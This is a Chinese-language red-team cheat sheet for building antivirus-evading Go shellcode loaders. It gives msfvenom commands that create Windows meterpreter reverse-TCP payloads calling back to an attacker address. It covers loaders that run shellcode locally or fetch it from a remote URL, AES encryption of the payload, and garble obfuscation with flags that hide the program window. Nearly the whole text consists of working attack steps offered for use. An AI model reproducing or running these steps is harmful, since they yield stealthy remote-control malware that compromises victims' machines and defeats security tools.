Golang
直接编译
生成
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f c
代码转换成0x格式,粘贴到go.txt中保存为go格式
image
安装golang环境在shellcode目录执行
>go build生成exe
编码编译
https://github.com/biggerduck/RedTeamNotes/blob/main/%E5%88%A9%E7%94%A8go%E5%8A%A0%E8%BD%BDshellcode%E5%85%8D%E6%9D%80.pdf
加载器
go-shellcode
https://github.com/brimstone/go-shellcode
进入cmd/sc目录编译sc.exe
>go build
image
生成
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f hex -o shell.txt
加载器加载shellcode
>sc.exe shellcode
image
Gsl
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/gsl-sc-loader.zip
>gsl -s SHELLCODE -hex msf生成hex格式
>gsl -f shell.raw本地加载raw格式文件
>gsl -f shell.hex -hex 本地加载hex格式文件
>gsl -u http://192.168.0.108/1.raw 远程加载
>gsl -u http://192.168.0.108/1.hex
go-shellcode-loader
https://github.com/HZzz2/go-shellcode-loader
>git clone https://github.com/HZzz2/go-shellcode-loader.git
>cd go-shellcode-loader
//下条命令安装第三方混淆库 GitHub地址:https://github.com/burrowers/garble
>go install mvdan.cc/[email protected]
>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=9999 -f raw > rev.raw
>base64 -w 0 -i rev.raw > rev.bs64
>cat rev.bs64
复制到aes-sc.go中的51行替换payload
运行aes-sc.go生成AES加密后的值
>go run aes-sc.go
复制输出的值到go-sc.go中的73行替换payload
编译成exe可执行程序
>garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go
参数解释:
garble(混淆库):
-tiny 删除额外信息
-literals 混淆文字
-seed=random base64编码的随机种子
go:
-w 去掉调试信息,不能gdb调试了
-s 去掉符号表
-H windowsgui 隐藏执行窗口,不占用 cmd 终端。 (被查杀率高)
-race 使数据允许竞争检测
编译后得到go-sc.exe
复制链接